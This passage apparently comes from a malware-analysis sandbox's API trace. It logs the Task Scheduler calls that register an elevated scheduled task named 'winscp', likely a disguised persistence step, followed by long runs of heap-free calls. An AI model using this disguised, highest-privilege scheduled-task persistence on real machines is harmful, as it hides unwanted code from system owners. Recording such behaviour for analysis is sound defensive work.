wMatch=0x6f) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0079.744] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0079.745] IUnknown:Release (This=0xd65d0) returned 0x1 [0079.745] IUnknown:Release (This=0xd7e40) returned 0x1 [0079.745] ITaskDefinition:get_Triggers (in: This=0xd7d80, ppTriggers=0x1bc980 | out: ppTriggers=0x1bc980*=0xd6340) returned 0x0 [0079.745] ITriggerCollection:Create (in: This=0xd6340, Type=9, ppTrigger=0x1bc978 | out: ppTrigger=0x1bc978*=0xd6640) returned 0x0 [0079.745] IUnknown:QueryInterface (in: This=0xd6640, riid=0xff901c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1bc970 | out: ppvObject=0x1bc970*=0xd6640) returned 0x0 [0079.745] IUnknown:Release (This=0xd6640) returned 0x2 [0079.745] _vsnwprintf (in: _Buffer=0x1bc8c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1bc898 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0079.745] ITrigger:put_StartBoundary (This=0xd6640, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0079.745] lstrlenW (lpString="") returned 0 [0079.745] lstrlenW (lpString="") returned 0 [0079.745] lstrlenW (lpString="") returned 0 [0079.745] lstrlenW (lpString="") returned 0 [0079.745] IUnknown:Release (This=0xd6640) returned 0x1 [0079.745] IUnknown:Release (This=0xd6340) returned 0x1 [0079.746] ITaskDefinition:get_Settings (in: This=0xd7d80, ppSettings=0x1bce20 | out: ppSettings=0x1bce20*=0xd63b0) returned 0x0 [0079.746] lstrlenW (lpString="") returned 0 [0079.746] IUnknown:Release (This=0xd63b0) returned 0x1 [0079.746] GetLocalTime (in: lpSystemTime=0x1bccd8 | out: lpSystemTime=0x1bccd8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x4, wMilliseconds=0x6c)) [0079.746] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0079.746] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0079.746] GetUserNameW (in: lpBuffer=0x1bcd00, pcbBuffer=0x1bcce8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bcce8) returned 1 [0079.747] ITaskDefinition:get_RegistrationInfo (in: This=0xd7d80, ppRegistrationInfo=0x1bccd0 | out: ppRegistrationInfo=0x1bccd0*=0xd7ec0) returned 0x0 [0079.747] IRegistrationInfo:put_Author (This=0xd7ec0, Author="") returned 0x0 [0079.747] _vsnwprintf (in: _Buffer=0x1bcd00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1bcc98 | out: _Buffer="2023-09-19T17:17:04") returned 19 [0079.747] IRegistrationInfo:put_Date (This=0xd7ec0, Date="") returned 0x0 [0079.747] IUnknown:Release (This=0xd7ec0) returned 0x1 [0079.747] malloc (_Size=0x18) returned 0xd7fa0 [0079.747] free (_Block=0xd7fa0) [0079.747] lstrlenW (lpString="") returned 0 [0079.747] ITaskDefinition:get_Principal (in: This=0xd7d80, ppPrincipal=0x1bcef0 | out: ppPrincipal=0x1bcef0*=0xd6520) returned 0x0 [0079.748] IPrincipal:put_RunLevel (This=0xd6520, RunLevel=1) returned 0x0 [0079.748] IUnknown:Release (This=0xd6520) returned 0x1 [0079.748] malloc (_Size=0x18) returned 0xd7fa0 [0079.748] ITaskFolder:RegisterTaskDefinition (in: This=0xd7d30, Path="winscp", pDefinition=0xd7d80, flags=6, UserId=0x1bcf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bcfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bee80, varVal2=0xfe), LogonType=3, sddl=0x1bcf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1bce90 | out: ppTask=0x1bce90*=0xd68b0) returned 0x0 [0080.396] free (_Block=0xd7fa0) [0080.396] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.396] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0080.396] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0080.397] GetProcessHeap () returned 0x2b0000 [0080.397] GetProcessHeap () returned 0x2b0000 [0080.397] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd700) returned 1 [0080.397] GetProcessHeap () returned 0x2b0000 [0080.397] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd700) returned 0xe [0080.397] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd700 | out: hHeap=0x2b0000) returned 1 [0080.397] GetProcessHeap () returned 0x2b0000 [0080.397] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x82) returned 0x2e9c10 [0080.397] _vsnwprintf (in: _Buffer=0x1bd5d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1bce38 | out: _Buffer="SUCCESS: The scheduled task \"winscp\" has successfully been created.\n") returned 68 [0080.397] _fileno (_File=0x7feffe22ab0) returned -2 [0080.397] _errno () returned 0xd4bb0 [0080.397] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0080.398] SetLastError (dwErrCode=0x6) [0080.398] lstrlenW (lpString="SUCCESS: The scheduled task \"winscp\" has successfully been created.\n") returned 68 [0080.398] GetConsoleOutputCP () returned 0x0 [0080.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"winscp\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0080.398] GetConsoleOutputCP () returned 0x0 [0080.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"winscp\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"winscp\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0080.399] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 68 [0080.399] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0080.399] IUnknown:Release (This=0xd68b0) returned 0x0 [0080.399] TaskScheduler:IUnknown:Release (This=0xd7d80) returned 0x0 [0080.399] TaskScheduler:IUnknown:Release (This=0xd7d30) returned 0x0 [0080.399] TaskScheduler:IUnknown:Release (This=0x3bdee0) returned 0x1 [0080.400] lstrlenW (lpString="") returned 0 [0080.400] GetProcessHeap () returned 0x2b0000 [0080.400] GetProcessHeap () returned 0x2b0000 [0080.400] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc470) returned 1 [0080.400] GetProcessHeap () returned 0x2b0000 [0080.400] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc470) returned 0x1fc [0080.400] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc470 | out: hHeap=0x2b0000) returned 1 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd680) returned 1 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd680) returned 0x16 [0080.401] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd680 | out: hHeap=0x2b0000) returned 1 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd660) returned 1 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd660) returned 0x18 [0080.401] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd660 | out: hHeap=0x2b0000) returned 1 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] GetProcessHeap () returned 0x2b0000 [0080.401] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cced0) returned 1 [0080.402] GetProcessHeap () returned 0x2b0000 [0080.402] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cced0) returned 0x20 [0080.402] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cced0 | out: hHeap=0x2b0000) returned 1 [0080.402] GetProcessHeap () returned 0x2b0000 [0080.402] GetProcessHeap () returned 0x2b0000 [0080.402] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc150) returned 1 [0080.402] GetProcessHeap () returned 0x2b0000 [0080.402] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc150) returned 0xa0 [0080.403] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc150 | out: hHeap=0x2b0000) returned 1 [0080.403] GetProcessHeap () returned 0x2b0000 [0080.403] GetProcessHeap () returned 0x2b0000 [0080.403] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbbd0) returned 1 [0080.403] GetProcessHeap () returned 0x2b0000 [0080.403] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbbd0) returned 0x18 [0080.403] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbbd0 | out: hHeap=0x2b0000) returned 1 [0080.403] GetProcessHeap () returned 0x2b0000 [0080.403] GetProcessHeap () returned 0x2b0000 [0080.404] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc90) returned 1 [0080.404] GetProcessHeap () returned 0x2b0000 [0080.404] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc90) returned 0x20 [0080.404] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc90 | out: hHeap=0x2b0000) returned 1 [0080.404] GetProcessHeap () returned 0x2b0000 [0080.404] GetProcessHeap () returned 0x2b0000 [0080.404] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3b0) returned 1 [0080.404] GetProcessHeap () returned 0x2b0000 [0080.405] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc3b0) returned 0x56 [0080.405] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3b0 | out: hHeap=0x2b0000) returned 1 [0080.405] GetProcessHeap () returned 0x2b0000 [0080.405] GetProcessHeap () returned 0x2b0000 [0080.405] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6a0) returned 1 [0080.405] GetProcessHeap () returned 0x2b0000 [0080.405] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd6a0) returned 0x18 [0080.405] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6a0 | out: hHeap=0x2b0000) returned 1 [0080.405] GetProcessHeap () returned 0x2b0000 [0080.406] GetProcessHeap () returned 0x2b0000 [0080.406] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc60) returned 1 [0080.406] GetProcessHeap () returned 0x2b0000 [0080.406] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc60) returned 0x20 [0080.406] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc60 | out: hHeap=0x2b0000) returned 1 [0080.406] GetProcessHeap () returned 0x2b0000 [0080.406] GetProcessHeap () returned 0x2b0000 [0080.406] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cde10) returned 1 [0080.406] GetProcessHeap () returned 0x2b0000 [0080.406] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cde10) returned 0x58 [0080.407] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cde10 | out: hHeap=0x2b0000) returned 1 [0080.407] GetProcessHeap () returned 0x2b0000 [0080.407] GetProcessHeap () returned 0x2b0000 [0080.407] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd640) returned 1 [0080.407] GetProcessHeap () returned 0x2b0000 [0080.407] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd640) returned 0x18 [0080.407] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd640 | out: hHeap=0x2b0000) returned 1 [0080.407] GetProcessHeap () returned 0x2b0000 [0080.407] GetProcessHeap () returned 0x2b0000 [0080.408] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc30) returned 1 [0080.408] GetProcessHeap () returned 0x2b0000 [0080.408] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccc30) returned 0x20 [0080.408] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccc30 | out: hHeap=0x2b0000) returned 1 [0080.408] GetProcessHeap () returned 0x2b0000 [0080.408] GetProcessHeap () returned 0x2b0000 [0080.408] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc450) returned 1 [0080.408] GetProcessHeap () returned 0x2b0000 [0080.408] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc450) returned 0xe [0080.409] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc450 | out: hHeap=0x2b0000) returned 1 [0080.409] GetProcessHeap () returned 0x2b0000 [0080.409] GetProcessHeap () returned 0x2b0000 [0080.409] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc430) returned 1 [0080.409] GetProcessHeap () returned 0x2b0000 [0080.409] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc430) returned 0x18 [0080.409] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc430 | out: hHeap=0x2b0000) returned 1 [0080.409] GetProcessHeap () returned 0x2b0000 [0080.409] GetProcessHeap () returned 0x2b0000 [0080.409] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5e50) returned 1 [0080.409] GetProcessHeap () returned 0x2b0000 [0080.409] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5e50) returned 0x20 [0080.410] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5e50 | out: hHeap=0x2b0000) returned 1 [0080.410] GetProcessHeap () returned 0x2b0000 [0080.410] GetProcessHeap () returned 0x2b0000 [0080.410] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbd50) returned 1 [0080.410] GetProcessHeap () returned 0x2b0000 [0080.410] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbd50) returned 0x208 [0080.411] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbd50 | out: hHeap=0x2b0000) returned 1 [0080.411] GetProcessHeap () returned 0x2b0000 [0080.411] GetProcessHeap () returned 0x2b0000 [0080.411] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbbb0) returned 1 [0080.411] GetProcessHeap () returned 0x2b0000 [0080.411] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbbb0) returned 0x18 [0080.411] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbbb0 | out: hHeap=0x2b0000) returned 1 [0080.411] GetProcessHeap () returned 0x2b0000 [0080.411] GetProcessHeap () returned 0x2b0000 [0080.411] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d60) returned 1 [0080.411] GetProcessHeap () returned 0x2b0000 [0080.411] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5d60) returned 0x20 [0080.412] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5d60 | out: hHeap=0x2b0000) returned 1 [0080.412] GetProcessHeap () returned 0x2b0000 [0080.412] GetProcessHeap () returned 0x2b0000 [0080.412] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd400) returned 1 [0080.412] GetProcessHeap () returned 0x2b0000 [0080.412] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd400) returned 0x200 [0080.413] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd400 | out: hHeap=0x2b0000) returned 1 [0080.413] GetProcessHeap () returned 0x2b0000 [0080.413] GetProcessHeap () returned 0x2b0000 [0080.413] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbbf0) returned 1 [0080.413] GetProcessHeap () returned 0x2b0000 [0080.413] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbbf0) returned 0x18 [0080.413] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbbf0 | out: hHeap=0x2b0000) returned 1 [0080.413] GetProcessHeap () returned 0x2b0000 [0080.413] GetProcessHeap () returned 0x2b0000 [0080.413] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5cd0) returned 1 [0080.413] GetProcessHeap () returned 0x2b0000 [0080.414] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5cd0) returned 0x20 [0080.414] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5cd0 | out: hHeap=0x2b0000) returned 1 [0080.414] GetProcessHeap () returned 0x2b0000 [0080.414] GetProcessHeap () returned 0x2b0000 [0080.414] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc360) returned 1 [0080.414] GetProcessHeap () returned 0x2b0000 [0080.414] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc360) returned 0x14 [0080.414] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc360 | out: hHeap=0x2b0000) returned 1 [0080.415] GetProcessHeap () returned 0x2b0000 [0080.415] GetProcessHeap () returned 0x2b0000 [0080.415] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc340) returned 1 [0080.415] GetProcessHeap () returned 0x2b0000 [0080.415] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc340) returned 0x18 [0080.415] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc340 | out: hHeap=0x2b0000) returned 1 [0080.415] GetProcessHeap () returned 0x2b0000 [0080.415] GetProcessHeap () returned 0x2b0000 [0080.415] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c10) returned 1 [0080.415] GetProcessHeap () returned 0x2b0000 [0080.415] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5c10) returned 0x20 [0080.416] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c10 | out: hHeap=0x2b0000) returned 1 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc380) returned 1 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc380) returned 0x16 [0080.416] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc380 | out: hHeap=0x2b0000) returned 1 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc200) returned 1 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc200) returned 0x18 [0080.416] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc200 | out: hHeap=0x2b0000) returned 1 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.416] GetProcessHeap () returned 0x2b0000 [0080.417] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5be0) returned 1 [0080.417] GetProcessHeap () returned 0x2b0000 [0080.417] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5be0) returned 0x20 [0080.417] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5be0 | out: hHeap=0x2b0000) returned 1 [0080.417] GetProcessHeap () returned 0x2b0000 [0080.417] GetProcessHeap () returned 0x2b0000 [0080.417] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb30) returned 1 [0080.417] GetProcessHeap () returned 0x2b0000 [0080.417] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbb30) returned 0x2 [0080.418] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbb30 | out: hHeap=0x2b0000) returned 1 [0080.418] GetProcessHeap () returned 0x2b0000 [0080.418] GetProcessHeap () returned 0x2b0000 [0080.418] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a30) returned 1 [0080.418] GetProcessHeap () returned 0x2b0000 [0080.418] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a30) returned 0x20 [0080.418] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a30 | out: hHeap=0x2b0000) returned 1 [0080.419] GetProcessHeap () returned 0x2b0000 [0080.419] GetProcessHeap () returned 0x2b0000 [0080.419] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a60) returned 1 [0080.419] GetProcessHeap () returned 0x2b0000 [0080.419] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a60) returned 0x20 [0080.419] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a60 | out: hHeap=0x2b0000) returned 1 [0080.419] GetProcessHeap () returned 0x2b0000 [0080.419] GetProcessHeap () returned 0x2b0000 [0080.419] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a90) returned 1 [0080.420] GetProcessHeap () returned 0x2b0000 [0080.420] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5a90) returned 0x20 [0080.420] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5a90 | out: hHeap=0x2b0000) returned 1 [0080.420] GetProcessHeap () returned 0x2b0000 [0080.420] GetProcessHeap () returned 0x2b0000 [0080.420] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ac0) returned 1 [0080.420] GetProcessHeap () returned 0x2b0000 [0080.420] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5ac0) returned 0x20 [0080.421] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5ac0 | out: hHeap=0x2b0000) returned 1 [0080.421] GetProcessHeap () returned 0x2b0000 [0080.421] GetProcessHeap () returned 0x2b0000 [0080.421] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccc0) returned 1 [0080.421] GetProcessHeap () returned 0x2b0000 [0080.421] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cccc0) returned 0x20 [0080.422] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccc0 | out: hHeap=0x2b0000) returned 1 [0080.422] GetProcessHeap () returned 0x2b0000 [0080.422] GetProcessHeap () returned 0x2b0000 [0080.422] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd7a0) returned 1 [0080.422] GetProcessHeap () returned 0x2b0000 [0080.422] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd7a0) returned 0xc [0080.422] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd7a0 | out: hHeap=0x2b0000) returned 1 [0080.422] GetProcessHeap () returned 0x2b0000 [0080.422] GetProcessHeap () returned 0x2b0000 [0080.422] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccf0) returned 1 [0080.423] GetProcessHeap () returned 0x2b0000 [0080.423] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cccf0) returned 0x20 [0080.423] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cccf0 | out: hHeap=0x2b0000) returned 1 [0080.423] GetProcessHeap () returned 0x2b0000 [0080.423] GetProcessHeap () returned 0x2b0000 [0080.423] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7bc0) returned 1 [0080.423] GetProcessHeap () returned 0x2b0000 [0080.423] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7bc0) returned 0x30 [0080.424] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7bc0 | out: hHeap=0x2b0000) returned 1 [0080.424] GetProcessHeap () returned 0x2b0000 [0080.424] GetProcessHeap () returned 0x2b0000 [0080.424] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd20) returned 1 [0080.424] GetProcessHeap () returned 0x2b0000 [0080.424] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd20) returned 0x20 [0080.425] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd20 | out: hHeap=0x2b0000) returned 1 [0080.425] GetProcessHeap () returned 0x2b0000 [0080.425] GetProcessHeap () returned 0x2b0000 [0080.425] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7c00) returned 1 [0080.425] GetProcessHeap () returned 0x2b0000 [0080.425] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7c00) returned 0x30 [0080.425] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7c00 | out: hHeap=0x2b0000) returned 1 [0080.425] GetProcessHeap () returned 0x2b0000 [0080.425] GetProcessHeap () returned 0x2b0000 [0080.425] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccea0) returned 1 [0080.426] GetProcessHeap () returned 0x2b0000 [0080.426] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccea0) returned 0x20 [0080.426] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccea0 | out: hHeap=0x2b0000) returned 1 [0080.497] GetProcessHeap () returned 0x2b0000 [0080.497] GetProcessHeap () returned 0x2b0000 [0080.497] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6c0) returned 1 [0080.497] GetProcessHeap () returned 0x2b0000 [0080.497] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd6c0) returned 0x16 [0080.497] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd6c0 | out: hHeap=0x2b0000) returned 1 [0080.497] GetProcessHeap () returned 0x2b0000 [0080.497] GetProcessHeap () returned 0x2b0000 [0080.497] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce70) returned 1 [0080.497] GetProcessHeap () returned 0x2b0000 [0080.497] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cce70) returned 0x20 [0080.498] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce70 | out: hHeap=0x2b0000) returned 